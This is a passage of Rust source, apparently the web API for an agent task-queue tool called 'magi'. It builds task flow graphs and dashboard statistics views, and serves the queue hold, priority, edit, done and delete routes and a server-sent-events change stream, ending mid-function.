4368    let mut nodes = Vec::new();
4369    let mut edges: Vec<FlowEdge> = Vec::new();
4370    // A task queued from a chat opens the flow with that conversation.
4371    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4372        let mut n = node(
4373            "chat",
4374            "chat",
4375            format!("Chat {}", crate::queue::short(&link.id)),
4376        );
4377        n.href = Some(link.href);
4378        nodes.push(n);
4379        edges.push(FlowEdge {
4380            from: "chat".to_owned(),
4381            to: "start".to_owned(),
4382            label: "queued from chat".to_owned(),
4383            attempt: AttemptCost::None,
4384        });
4385    }
4386    nodes.push(node("start", "start", "Task queued".to_owned()));
4387    let mut prev = "start".to_owned();
4388    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4389    for (i, h) in history.iter().enumerate() {
4390        let key = format!("run-{}", h.n);
4391        let mut n = node(&key, "run", format!("Run {}", h.short));
4392        n.run_kind = Some(h.kind);
4393        n.readable = h.readable;
4394        n.href = Some(format!("#/runs/{}", h.id));
4395        n.decided = h.readable && !h.provisional;
4396        n.detail = h
4397            .branch
4398            .as_ref()
4399            .map(|b| format!("review-only run of branch {b}"));
4400        match h.exit {
4401            RunExit::Unreadable => n.note = Some("unreadable"),
4402            RunExit::Interrupted => n.note = Some("interrupted"),
4403            _ => {
4404                n.status = h.status;
4405                if h.provisional {
4406                    n.note = Some("no verdict");
4407                }
4408            }
4409        }
4410        let into = match h.kind {
4411            "review" => Some(format!(
4412                "review-only run of branch {}",
4413                h.branch.as_deref().unwrap_or("?")
4414            )),
4415            "resume" => Some("resume the same run".to_owned()),
4416            _ if i > 0 => Some("retry".to_owned()),
4417            _ => None,
4418        };
4419        let label = match (prev_exit, into) {
4420            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4421            (Some((e, st)), None) => e.edge_label(st),
4422            (None, Some(i)) => i,
4423            (None, None) => "claimed".to_owned(),
4424        };
4425        edges.push(FlowEdge {
4426            from: prev.clone(),
4427            to: key.clone(),
4428            label,
4429            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4430        });
4431        prev_exit = Some((h.exit, h.status));
4432        prev = key;
4433        nodes.push(n);
4434    }
4435    let mut end = node("end", "end", task.status.as_str().to_owned());
4436    end.status = Some(task.status.as_str());
4437    nodes.push(end);
4438    let (label, attempt) = match prev_exit {
4439        None => (
4440            format!("no run yet \u{2192} {}", task.status.as_str()),
4441            AttemptCost::None,
4442        ),
4443        Some((e, st)) if e.explains(task.status) => (
4444            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4445            e.cost(),
4446        ),
4447        Some((e, _)) => (
4448            format!("closed by hand: task is {}", task.status.as_str()),
4449            e.cost(),
4450        ),
4451    };
4452    edges.push(FlowEdge {
4453        from: prev,
4454        to: "end".to_owned(),
4455        label,
4456        attempt,
4457    });
4458    FlowView {
4459        nodes,
4460        edges,
4461        attempts: task.attempts,
4462        max_attempts,
4463    }
4464}
4465
4466/// Describe every entry of `task.runs`, in order, reading each run's record
4467/// through `read`.
4468fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4469    let mut history = Vec::with_capacity(task.runs.len());
4470    let mut seen: Vec<&str> = Vec::new();
4471    let mut prior: Option<(&str, RunStatus)> = None;
4472    for (i, run_id) in task.runs.iter().enumerate() {
4473        let state = read(run_id);
4474        let resumed = seen.contains(&run_id.as_str());
4475        seen.push(run_id);
4476        history.push(task_run_view(
4477            run_id,
4478            state.as_ref(),
4479            RunSlot {
4480                n: i + 1,
4481                resumed,
4482                resumed_later: task.runs[i + 1..]
4483                    .iter()
4484                    .position(|r| r == run_id)
4485                    .map(|off| i + off + 2),
4486                prior,
4487                last: i + 1 == task.runs.len(),
4488            },
4489            task,
4490        ));
4491        if let Some(s) = &state {
4492            prior = Some((run::short_of(run_id), s.status));
4493        }
4494    }
4495    history
4496}
4497
4498async fn task_detail(
4499    State(ui): State<Arc<Ui>>,
4500    Path(id): Path<String>,
4501) -> ApiResult<Json<TaskDetailView>> {
4502    blocking(move || {
4503        let id = resolve_task(&ui.queue, &id)?;
4504        let task = ui
4505            .queue
4506            .get(&id)
4507            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4508        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4509        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4510        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4511        let max_attempts = daemon::Opts::default().max_attempts;
4512        let flow = task_flow(&task, &history, max_attempts);
4513        Ok(Json(TaskDetailView {
4514            max_attempts,
4515            flow,
4516            history,
4517            runs_unreadable,
4518            attempts_note: ATTEMPTS_NOTE,
4519            task: TaskView::with_inventory(task, &inv),
4520        }))
4521    })
4522    .await
4523}
4524
4525/// A rate together with its denominator, so the client can tell "computed as
4526/// 0%" apart from "no data to compute it from" — both would otherwise
4527/// serialize as `0.0`. `None` means the denominator was zero.
4528#[derive(Debug, Serialize)]
4529struct RateView {
4530    pct: f64,
4531    denominator: usize,
4532}
4533
4534impl RateView {
4535    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4536        (denominator > 0).then(|| Self {
4537            pct: 100.0 * numerator as f64 / denominator as f64,
4538            denominator,
4539        })
4540    }
4541}
4542
4543/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4544/// rates, each paired with its own denominator via [`RateView`] rather than
4545/// exposing `Stats`' own percentage methods directly — see this module's
4546/// doc for why `Stats` itself is never serialized.
4547#[derive(Debug, Serialize)]
4548struct StatsTotalsView {
4549    runs: usize,
4550    merged: usize,
4551    ready: usize,
4552    blocked: usize,
4553    failed: usize,
4554    stalled: usize,
4555    verified_noop: usize,
4556    superseded: usize,
4557    in_progress: usize,
4558    completion_rate: Option<RateView>,
4559    tallied: usize,
4560    split: usize,
4561    split_rate: Option<RateView>,
4562    deliberated: usize,
4563    minds_changed: usize,
4564    converged: usize,
4565    review_rounds: usize,
4566}
4567
4568impl From<&stats::Totals> for StatsTotalsView {
4569    fn from(t: &stats::Totals) -> Self {
4570        Self {
4571            runs: t.runs,
4572            merged: t.merged,
4573            ready: t.ready,
4574            blocked: t.blocked,
4575            failed: t.failed,
4576            stalled: t.stalled,
4577            verified_noop: t.verified_noop,
4578            superseded: t.superseded,
4579            in_progress: t.in_progress,
4580            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4581            tallied: t.tallied,
4582            split: t.split,
4583            split_rate: RateView::of(t.split, t.tallied),
4584            deliberated: t.deliberated,
4585            minds_changed: t.minds_changed,
4586            converged: t.converged,
4587            review_rounds: t.review_rounds,
4588        }
4589    }
4590}
4591
4592/// [`crate::stats::AgentStats`] for the wire.
4593#[derive(Debug, Serialize)]
4594struct AgentStatsView {
4595    agent: String,
4596    entered: usize,
4597    wins: usize,
4598    empty: usize,
4599    win_rate: Option<RateView>,
4600}
4601
4602impl From<&stats::AgentStats> for AgentStatsView {
4603    fn from(a: &stats::AgentStats) -> Self {
4604        Self {
4605            agent: a.agent.clone(),
4606            entered: a.entered,
4607            wins: a.wins,
4608            empty: a.empty,
4609            win_rate: RateView::of(a.wins, a.entered),
4610        }
4611    }
4612}
4613
4614/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4615/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4616/// value, `None` when `rounds` is zero.
4617#[derive(Debug, Serialize)]
4618struct ReviewerStatsView {
4619    agent: String,
4620    rounds: usize,
4621    seated: usize,
4622    submitted: usize,
4623    adopted: usize,
4624    unique: usize,
4625    timeouts: usize,
4626    adopted_per_round: Option<f64>,
4627    precision: Option<RateView>,
4628    unique_rate: Option<RateView>,
4629    timeout_rate: Option<RateView>,
4630}
4631
4632impl From<&stats::ReviewerStats> for ReviewerStatsView {
4633    fn from(r: &stats::ReviewerStats) -> Self {
4634        Self {
4635            agent: r.agent.clone(),
4636            rounds: r.rounds,
4637            seated: r.seated,
4638            submitted: r.submitted,
4639            adopted: r.adopted,
4640            unique: r.unique,
4641            timeouts: r.timeouts,
4642            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4643            precision: RateView::of(r.adopted, r.submitted),
4644            unique_rate: RateView::of(r.unique, r.submitted),
4645            timeout_rate: RateView::of(r.timeouts, r.seated),
4646        }
4647    }
4648}
4649
4650/// [`crate::stats::AdvisorStats`] for the wire.
4651///
4652/// `reflection_rate` is approximate by construction — see
4653/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4654/// that caveat is static text in `index.html`, not a field here.
4655#[derive(Debug, Serialize)]
4656struct AdvisorStatsView {
4657    agent: String,
4658    seated: usize,
4659    proposed: usize,
4660    absent: usize,
4661    faint: usize,
4662    strong: usize,
4663    reflection_rate: Option<RateView>,
4664}
4665
4666impl From<&stats::AdvisorStats> for AdvisorStatsView {
4667    fn from(a: &stats::AdvisorStats) -> Self {
4668        Self {
4669            agent: a.agent.clone(),
4670            seated: a.seated,
4671            proposed: a.proposed,
4672            absent: a.absent,
4673            faint: a.faint,
4674            strong: a.strong,
4675            reflection_rate: RateView::of(a.strong, a.proposed),
4676        }
4677    }
4678}
4679
4680/// [`crate::stats::E2eStats`] for the wire.
4681#[derive(Debug, Serialize)]
4682struct E2eStatsView {
4683    rounds: usize,
4684    failures: usize,
4685    sole_detections: usize,
4686    deferred: usize,
4687    sole_rate: Option<RateView>,
4688}
4689
4690impl From<&stats::E2eStats> for E2eStatsView {
4691    fn from(e: &stats::E2eStats) -> Self {
4692        Self {
4693            rounds: e.rounds,
4694            failures: e.failures,
4695            sole_detections: e.sole_detections,
4696            deferred: e.deferred,
4697            sole_rate: RateView::of(e.sole_detections, e.failures),
4698        }
4699    }
4700}
4701
4702/// [`crate::stats::ReleaseBumpStats`] for the wire.
4703///
4704/// `clean` is sent as a raw count, computed the same way
4705/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4706/// needs_attention`) — never derived client-side from `automerge_enabled`,
4707/// which would misclassify a `merged_directly` bump (automerge rejected, but
4708/// magi merged it directly, so no human involvement) as needing attention.
4709#[derive(Debug, Serialize)]
4710struct ReleaseBumpStatsView {
4711    merged: usize,
4712    recorded: usize,
4713    pr_opened: usize,
4714    automerge_enabled: usize,
4715    merged_directly: usize,
4716    needs_attention: usize,
4717    clean: usize,
4718    coverage_rate: Option<RateView>,
4719    automerge_rate: Option<RateView>,
4720    attention_rate: Option<RateView>,
4721}
4722
4723impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4724    fn from(b: &stats::ReleaseBumpStats) -> Self {
4725        Self {
4726            merged: b.merged,
4727            recorded: b.recorded,
4728            pr_opened: b.pr_opened,
4729            automerge_enabled: b.automerge_enabled,
4730            merged_directly: b.merged_directly,
4731            needs_attention: b.needs_attention,
4732            clean: b.clean(),
4733            coverage_rate: RateView::of(b.recorded, b.merged),
4734            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4735            attention_rate: RateView::of(b.needs_attention, b.recorded),
4736        }
4737    }
4738}
4739
4740/// [`crate::queue::TaskCounts`] for the wire.
4741#[derive(Debug, Serialize)]
4742struct TaskCountsView {
4743    queued: usize,
4744    running: usize,
4745    done: usize,
4746    failed: usize,
4747    held: usize,
4748    blocked: usize,
4749}
4750
4751impl From<crate::queue::TaskCounts> for TaskCountsView {
4752    fn from(c: crate::queue::TaskCounts) -> Self {
4753        Self {
4754            queued: c.queued,
4755            running: c.running,
4756            done: c.done,
4757            failed: c.failed,
4758            held: c.held,
4759            blocked: c.blocked,
4760        }
4761    }
4762}
4763
4764/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4765/// runs recorded — the summary the UI's repository selector is built from.
4766/// Carries no nested `Stats`: picking a repo means re-fetching
4767/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4768/// aggregation rather than duplicating it.
4769#[derive(Debug, Serialize)]
4770struct RepoSummaryView {
4771    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4772    /// against, full path and all (see [`stats_get`]'s own doc for why).
4773    repo: String,
4774    /// Display name only; never used for matching.
4775    name: String,
4776    runs: usize,
4777    completion_rate: Option<RateView>,
4778}
4779
4780impl From<&stats::RepoStats> for RepoSummaryView {
4781    fn from(r: &stats::RepoStats) -> Self {
4782        let t = &r.stats.totals;
4783        Self {
4784            repo: r.repo.to_string_lossy().into_owned(),
4785            name: r.name.clone(),
4786            runs: t.runs,
4787            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4788        }
4789    }
4790}
4791
4792/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4793/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4794/// renders from them) are free to grow without that becoming a wire-contract
4795/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4796/// data" from "computed and it really is zero" the way [`RateView`] does.
4797#[derive(Debug, Serialize)]
4798struct StatsView {
4799    totals: StatsTotalsView,
4800    /// Best win rate first, as [`stats::collect`] already sorts it.
4801    agents: Vec<AgentStatsView>,
4802    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4803    reviewers: Vec<ReviewerStatsView>,
4804    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4805    advisors: Vec<AdvisorStatsView>,
4806    e2e: E2eStatsView,
4807    release_bumps: ReleaseBumpStatsView,
4808    queue: TaskCountsView,
4809    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4810    /// that field's doc. Asserted to match it in
4811    /// `stats_runs_unreadable_matches_health`.
4812    ///
4813    /// Always the whole-workload count, even when `repo` narrows every other
4814    /// field to one repository - an unreadable `run.json` carries no `repo`
4815    /// a per-repository count could attribute it to, and the queue/health
4816    /// views this mirrors never scope it either. The UI must not present it
4817    /// as if it were scoped to the selected repository.
4818    runs_unreadable: usize,
4819    /// Every repository with runs recorded, most runs first - what the UI's
4820    /// repository selector is built from. Always the full list regardless of
4821    /// `repo`, so switching repositories never needs a second request.
4822    repos: Vec<RepoSummaryView>,
4823    /// Runs per local day over the last 30 days, oldest first, always 30
4824    /// entries. Days are the *server's* local dates (the UI must not convert
4825    /// them again), cut by run creation and classified by current status.
4826    /// Narrowed by `repo` like every other run-derived field.
4827    daily: Vec<DailyStatsView>,
4828    /// The `?repo=` value this response was narrowed to, echoed back so the
4829    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4830    /// all-repositories view.
4831    repo: Option<String>,
4832}
4833
4834/// One day of [`StatsView::daily`].
4835#[derive(Debug, Serialize)]
4836struct DailyStatsView {
4837    /// `YYYY-MM-DD`, server-local.
4838    date: String,
4839    runs: usize,
4840    merged: usize,
4841    ready: usize,
4842    other: usize,
4843    /// `None` on a day with no runs, so it never reads as 0%.
4844    completion_rate: Option<RateView>,
4845}
4846
4847impl From<&stats::DayBucket> for DailyStatsView {
4848    fn from(b: &stats::DayBucket) -> Self {
4849        Self {
4850            date: b.date.to_string(),
4851            runs: b.runs,
4852            merged: b.merged,
4853            ready: b.ready,
4854            other: b.other,
4855            completion_rate: RateView::of(b.merged + b.ready, b.runs),
4856        }
4857    }
4858}
4859
4860/// How many days [`StatsView::daily`] covers.
4861const STATS_DAILY_DAYS: usize = 30;
4862
4863/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4864/// repository. Matched by full-path equality against `RunState.repo` only
4865/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4866/// `--repo` is, because the value here always came from this same route's
4867/// own `repos` list in an earlier response, never typed by a human. A value
4868/// matching no run is a 404, not an empty aggregate: the caller asked for a
4869/// specific, named repository, and silently returning zeroes would look
4870/// exactly like a repository that has runs but none of interest.
4871#[derive(Debug, Default, Deserialize)]
4872#[serde(default)]
4873struct StatsQuery {
4874    repo: Option<String>,
4875}
4876
4877/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4878/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4879/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4880/// prints from. Reads every readable run on disk, exactly as
4881/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4882/// a separately-maintained tally could.
4883async fn stats_get(
4884    State(ui): State<Arc<Ui>>,
4885    Query(q): Query<StatsQuery>,
4886) -> ApiResult<Json<StatsView>> {
4887    blocking(move || {
4888        let states: Vec<RunState> = run_ids(&ui.runs)
4889            .into_iter()
4890            .filter_map(|id| read_run(&ui.runs, &id).ok())
4891            .collect();
4892        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4893            .iter()
4894            .map(RepoSummaryView::from)
4895            .collect();
4896        let mut scoped: Vec<&RunState> = states.iter().collect();
4897        let collected = match &q.repo {
4898            Some(repo) => {
4899                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4900                if filtered.is_empty() {
4901                    return Err(ApiError::not_found(format!(
4902                        "no runs recorded against repo `{repo}`"
4903                    )));
4904                }
4905                scoped = filtered.clone();
4906                stats::collect_refs(filtered)
4907            }
4908            None => stats::collect(&states),
4909        };
4910        let daily = stats::daily(
4911            scoped,
4912            jiff::Zoned::now().date(),
4913            &jiff::tz::TimeZone::system(),
4914            STATS_DAILY_DAYS,
4915        );
4916        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4917        Ok(Json(StatsView {
4918            totals: StatsTotalsView::from(&collected.totals),
4919            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4920            reviewers: collected
4921                .reviewers
4922                .iter()
4923                .map(ReviewerStatsView::from)
4924                .collect(),
4925            advisors: collected
4926                .advisors
4927                .iter()
4928                .map(AdvisorStatsView::from)
4929                .collect(),
4930            e2e: E2eStatsView::from(&collected.e2e),
4931            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4932            queue: TaskCountsView::from(queue_counts),
4933            runs_unreadable: runs_unreadable(&ui.runs),
4934            repos,
4935            daily: daily.iter().map(DailyStatsView::from).collect(),
4936            repo: q.repo.clone(),
4937        }))
4938    })
4939    .await
4940}
4941
4942/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4943/// gives no reason - which must keep working, since not every hold has one.
4944#[derive(Debug, Default, Deserialize)]
4945#[serde(default, deny_unknown_fields)]
4946struct HoldBody {
4947    reason: Option<String>,
4948}
4949
4950async fn queue_hold(
4951    State(ui): State<Arc<Ui>>,
4952    Path(id): Path<String>,
4953    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4954) -> ApiResult<Json<TaskView>> {
4955    // An absent body is the ordinary case - most holds are unexplained, and
4956    // that has to stay a one-tap action rather than a form. A body that is
4957    // present and malformed is still a bad request.
4958    let body = match body {
4959        Ok(Json(body)) => body,
4960        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4961        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4962    };
4963    let reason = body.reason.filter(|r| !r.trim().is_empty());
4964    mutate(ui, id, move |t| {
4965        t.hold_manual(reason.clone());
4966        Ok(())
4967    })
4968    .await
4969}
4970
4971async fn queue_release(
4972    State(ui): State<Arc<Ui>>,
4973    Path(id): Path<String>,
4974) -> ApiResult<Json<TaskView>> {
4975    mutate(ui, id, |t| {
4976        t.release();
4977        Ok(())
4978    })
4979    .await
4980}
4981
4982/// The body of `POST /api/queue/{id}/priority`.
4983#[derive(Debug, Deserialize)]
4984#[serde(deny_unknown_fields)]
4985struct PriorityBody {
4986    priority: i32,
4987}
4988
4989/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4990///
4991/// [`Task::set_priority`] is the one place the "not while running" rule is
4992/// stated; this route only carries the body to it and lets its `Err` become
4993/// the 4xx the card shows.
4994async fn queue_priority(
4995    State(ui): State<Arc<Ui>>,
4996    Path(id): Path<String>,
4997    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4998) -> ApiResult<Json<TaskView>> {
4999    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5000    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5001}
5002
5003/// The body of `POST /api/queue/{id}/edit`.
5004#[derive(Debug, Deserialize)]
5005#[serde(deny_unknown_fields)]
5006struct EditBody {
5007    title: String,
5008    instruction: String,
5009    /// Save even though the new text names a branch, commit or pull request
5010    /// that unfinished work already owns.
5011    #[serde(default)]
5012    force: bool,
5013}
5014
5015/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5016/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5017/// that refusal's message is what the sheet shows back.
5018async fn queue_edit(
5019    State(ui): State<Arc<Ui>>,
5020    Path(id): Path<String>,
5021    body: std::result::Result<Json<EditBody>, JsonRejection>,
5022) -> ApiResult<Json<TaskView>> {
5023    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5024    // The judge is an agent call, so it is awaited here, outside the claim
5025    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5026    // remembered, and the save refuses if the task moved underneath it.
5027    let mut judged: Option<(String, PathBuf)> = None;
5028    if !body.force {
5029        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5030        let (id, text) = (id.clone(), body.instruction.clone());
5031        let (seen, hits) = blocking(move || {
5032            let id = resolve_task(&queue, &id)?;
5033            let t = queue.get(&id)?;
5034            if text == t.instruction {
5035                return Ok((None, Vec::new()));
5036            }
5037            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5038            Ok((Some((t.instruction, t.repo)), hits))
5039        })
5040        .await?;
5041        if let Some((_, repo)) = &seen {
5042            let cfg = crate::config::Config::discover(repo, None)
5043                .ok()
5044                .map(|(c, _)| c);
5045            let screened =
5046                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5047                    .await
5048                    .map_err(|dup| {
5049                        ApiError::conflict(dup.render(
5050                            "Nothing was saved. If it is not a duplicate, repeat the request \
5051                             with \"force\": true.",
5052                        ))
5053                    })?;
5054            if let crate::dupes::Screened::Unjudged(why) = screened {
5055                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5056            }
5057        }
5058        judged = seen;
5059    }
5060    let force = body.force;
5061    mutate(ui, id, move |t| {
5062        if !force && body.instruction != t.instruction {
5063            match &judged {
5064                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5065                _ => {
5066                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5067                }
5068            }
5069        }
5070        t.edit(body.title.clone(), body.instruction.clone())
5071    })
5072    .await
5073}
5074
5075/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5076/// it, so the phone's other way to clear a task from the backlog does not
5077/// have to cost the run history, the attribution, and `created_at` the way
5078/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5079/// can be marked done by hand, because this is for the run the loop never
5080/// saw land - a merge done by hand, or a gate that misreported - and that can
5081/// happen from any status the task was left in.
5082async fn queue_done(
5083    State(ui): State<Arc<Ui>>,
5084    Path(id): Path<String>,
5085) -> ApiResult<Json<TaskView>> {
5086    let home = ui.home.clone();
5087    mutate(ui, id, move |t| {
5088        t.succeed();
5089        // Same as the loop's own settle path: closing a task by hand is just
5090        // as much "this task's story is over" as a daemon-driven `Merged`/
5091        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5092        // behind must stop looking like it still needs a human. `ui.home`,
5093        // not the process-global `run::home()`: they agree in a real
5094        // process, but only `ui.home` also agrees with a test fixture's own
5095        // directory.
5096        crate::daemon::supersede_prior_runs(t, &home);
5097        Ok(())
5098    })
5099    .await
5100}
5101
5102/// `DELETE /api/queue/{id}`.
5103///
5104/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5105/// names this task: a `running` status or an orphaned `.lock` left behind by a
5106/// killed daemon is a leftover, and treating either as authority made the
5107/// task undeletable from the phone for good. The associated runs, if any, are
5108/// kept: a run is self-contained history and not an appendage of the task.
5109async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5110    blocking(move || {
5111        let id = resolve_task(&ui.queue, &id)?;
5112        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5113        ui.queue
5114            .remove(&id, in_flight, &ui.questions)
5115            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5116        Ok(StatusCode::NO_CONTENT)
5117    })
5118    .await
5119}
5120
5121/// Read a task, change it, write it back, under the queue's own lock.
5122///
5123/// Taking the same claim a daemon takes is what makes hold, release,
5124/// priority, edit, and done safe to press while magi is running: without it
5125/// the daemon's next save would land on top of the operator's change and
5126/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5127/// both do, for a running task - and that refusal becomes the 4xx the card
5128/// shows, same as any other domain rule.
5129async fn mutate(
5130    ui: Arc<Ui>,
5131    id: String,
5132    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5133) -> ApiResult<Json<TaskView>> {
5134    blocking(move || {
5135        let id = resolve_task(&ui.queue, &id)?;
5136        // `claim` fails when the lock file already exists, which is the
5137        // conflict the UI must report: the daemon owns that task's file for
5138        // as long as it is running it, and our write would be lost under its
5139        // next save. The message names the lock either way.
5140        let _claim = ui.queue.claim(&id).map_err(|e| {
5141            ApiError::conflict(format!(
5142                "{e:#} - a daemon is running this task, so it cannot be \
5143                 changed from here yet"
5144            ))
5145        })?;
5146        let mut task = ui.queue.get(&id)?;
5147        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5148            Ok(dup) => ApiError::conflict(dup.render(
5149                "Nothing was saved. If it is not a duplicate, repeat the request with \
5150                 \"force\": true.",
5151            )),
5152            Err(e) => ApiError::bad_request_from(e),
5153        })?;
5154        ui.queue.put(&mut task)?;
5155        Ok(Json(TaskView::from(task)))
5156    })
5157    .await
5158}
5159
5160/// The change stream: one revision number per store, on connect and whenever
5161/// any of them moves.
5162///
5163/// The poll runs in one spawned task per client, which is affordable because
5164/// the work is a directory scan and a `stat` per file. It stops as soon as the
5165/// receiver is gone, so a phone that walks out of range costs nothing after
5166/// its next tick - there is no session and no cleanup to forget.
5167async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5168    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5169    tokio::spawn(async move {
5170        let mut ticker = tokio::time::interval(POLL);
5171        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5172        let mut stamps: Option<[Stamps; 3]> = None;
5173        loop {
5174            // The first tick completes immediately, which is what makes the
5175            // stream announce the current revisions on connect.
5176            ticker.tick().await;
5177            let state = Arc::clone(&ui);
5178            let revisions = tokio::task::spawn_blocking(move || {
5179                let stamps = [
5180                    store_stamps(state.queue.root(), false),
5181                    store_stamps(&state.runs, true),
5182                    store_stamps(state.talks.root(), false),
5183                ];
5184                let revisions = (
5185                    stamps_revision(&stamps[0]),
5186                    stamps_revision(&stamps[1]),
5187                    state.questions.revision(),
5188                    stamps_revision(&stamps[2]),
5189                    state.notices.revision(),
5190                    // The loop's counter is in-process state rather than a
5191                    // file, so nothing the three stats above look at would
5192                    // tell this phone that another one started the loop.
5193                    state.lock_loop().rev,
5194                );
5195                (revisions, stamps)
5196            })
5197            .await;
5198            let Ok((revisions, next_stamps)) = revisions else {
5199                break;
5200            };
5201            if last == Some(revisions) {
5202                continue;
5203            }
5204            let mut payload = serde_json::json!({
5205                "queue_rev": revisions.0,
5206                "runs_rev": revisions.1,
5207                "questions_rev": revisions.2,
5208                "talks_rev": revisions.3,
5209                "notifications_rev": revisions.4,
5210                "loop_rev": revisions.5,
5211            });
5212            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5213                for (index, (key, rev)) in [
5214                    ("queue_delta", base.0),
5215                    ("runs_delta", base.1),
5216                    ("talks_delta", base.3),
5217                ]
5218                .into_iter()
5219                .enumerate()
5220                {
5221                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5222                    // Empty diffs may mean a non-file dependency moved. Read whole.
5223                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5224                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5225                    }
5226                }
5227            }
5228            last = Some(revisions);
5229            stamps = Some(next_stamps);
5230            // Giving up beats looping if the receiver is gone.
5231            let Ok(event) = Event::default().event("change").json_data(payload) else {
5232                break;
5233            };
5234            if tx.send(event).await.is_err() {
5235                break;
5236            }
5237        }
5238    });
5239    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5240        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5241}
5242
5243type Stamps = HashMap<String, (u128, u64)>;
5244
5245/// Metadata only: no task instructions or conversation bodies are read here.
5246fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5247    std::fs::read_dir(root)
5248        .into_iter()
5249        .flatten()
5250        .flatten()
5251        .filter_map(|entry| {
5252            let path = if runs {
5253                entry.path().join("run.json")
5254            } else {
5255                entry.path()
5256            };
5257            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5258                return None;
5259            }
5260            let metadata = path.metadata().ok()?;
5261            let modified = metadata
5262                .modified()
5263                .ok()?
5264                .duration_since(std::time::UNIX_EPOCH)
5265                .ok()?;
5266            let id = if runs {
5267                entry.file_name().to_string_lossy().into_owned()
5268            } else {
5269                path.file_stem()?.to_string_lossy().into_owned()
5270            };
5271            Some((id, (modified.as_nanos(), metadata.len())))
5272        })
5273        .collect()
5274}
5275
5276#[derive(Debug, Serialize)]
5277struct Delta {
5278    base: u64,
5279    changed: Vec<String>,
5280    removed: Vec<String>,
5281}
5282
5283fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5284    let mut changed: Vec<_> = next
5285        .iter()
5286        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5287        .map(|(id, _)| id.clone())
5288        .collect();
5289    let mut removed: Vec<_> = previous
5290        .keys()
